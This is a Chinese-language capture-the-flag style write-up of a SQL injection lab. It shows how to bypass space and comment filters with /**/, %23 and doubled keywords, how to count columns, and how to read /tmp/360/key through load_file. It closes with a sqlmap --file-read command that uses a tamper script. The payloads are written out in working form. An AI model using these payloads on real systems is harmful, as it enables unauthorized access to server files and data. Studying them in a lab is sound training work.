sql注入讀取文件之各種繞過姿勢


目錄

  1. 回顯判斷注入點
  2. 確定過濾類型
  3. 各種繞過姿勢注入

 0x00環境介紹

目標地址: http://172.16.12.100:81

 注入要求:通過SQL注入漏洞讀取/tmp/360/key文件,答案就在文件中。

 

 0x01滲透思路

進入答題后,顯示為使用select * from article where id= ('1')提交表單后得到的信息,已經知道id輸入的參數值為字符,不需要進行判斷;已經少了判斷字符型,數字型和閉合方式的步驟。

 

1.回顯判斷注入點

基本思路:因為sql語句中閉合的方式是’),那直接使用’)閉合查看是否會回顯錯誤;

payload:http://172.16.12.100:81/vulnerabilities/fu1.php?id=1')回顯出錯,存在注入點;

 

2.判斷sql語句中被過濾類型

sql語句http://172.16.12.100:81/vulnerabilities/fu1.php?id=1’) order by 5#回顯正常,一直嘗試增加判斷的列數還是一樣,未出現報錯情況;也就是說明該條sql語句未被執行,猜測應該是過濾了空格、#、order等;

嘗試使用注釋/**/代替空格,使用%23代替#,再次輸入sql語句,查看回顯情況;這一步可以多嘗試,組合測試,最終得到過濾類型。

‘)/**/order/**/by/**/5%23回顯錯誤

‘)/**/order/**/by/**/4%23回顯正常,空格不適用注釋/**/代替回顯錯誤,基本說明瀏覽器無法識別#,且把空格過濾。

 

過濾類型:目前知道注釋#不可用,空格被過濾;

保證sql語句的完整性基本操作:前邊閉合’),后邊注釋。

 

3.判斷列數

a.直接查詢看回顯

')/**/uniunionon/**/select/**/1,2,3%23 錯誤

')/**/uniunionon/**/select/**/1,2,3,4%23正確,那么列數就是4

回顯錯誤:

 

回顯正確:

b.使用order by n判斷列數

order by n:小於等n正常,大於n錯誤,列數就是n

')/**/order/**/by/**/5%23錯誤

')/**/order/**/by/**/4%23正確,列數為4

 

4.判斷回顯位

前表出錯方法有兩種:

1)and 1=2

2)id=1改為id=-1 參數值前加負號

payload:id=-1')/**/uniunionon/**/select/**/1,2,3,4%23

根據回顯內容,明顯2,3,4都可以回顯內容;

 

5.讀取key

讀取key的sql語句:load_file('/tmp/360/key')

payload:id=-1')/**/uniunionon/**/select/**/1,load_file('/tmp/360/key'),3,4%23


 0x02總結

1)除了可以直接讀文件,也可以查一些數據庫,用戶信息等:

user()當前用戶

database()當前庫名

version()版本

2)使用sqlmap也可以完成本次注入;

使用sqlmap下的/tamper:近60個腳本

顯示詳細payload: -v 3

基於真假判斷:--level 3

sqlmap注入payloadsqlmap.py -u "http://ip:81/vulnerabilities/fu1.php?id=1" --file-read=/tmp/360/key --tamper "space2hash.py"

 3)繞過方法可以看另一篇sql注入常見繞過姿勢。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM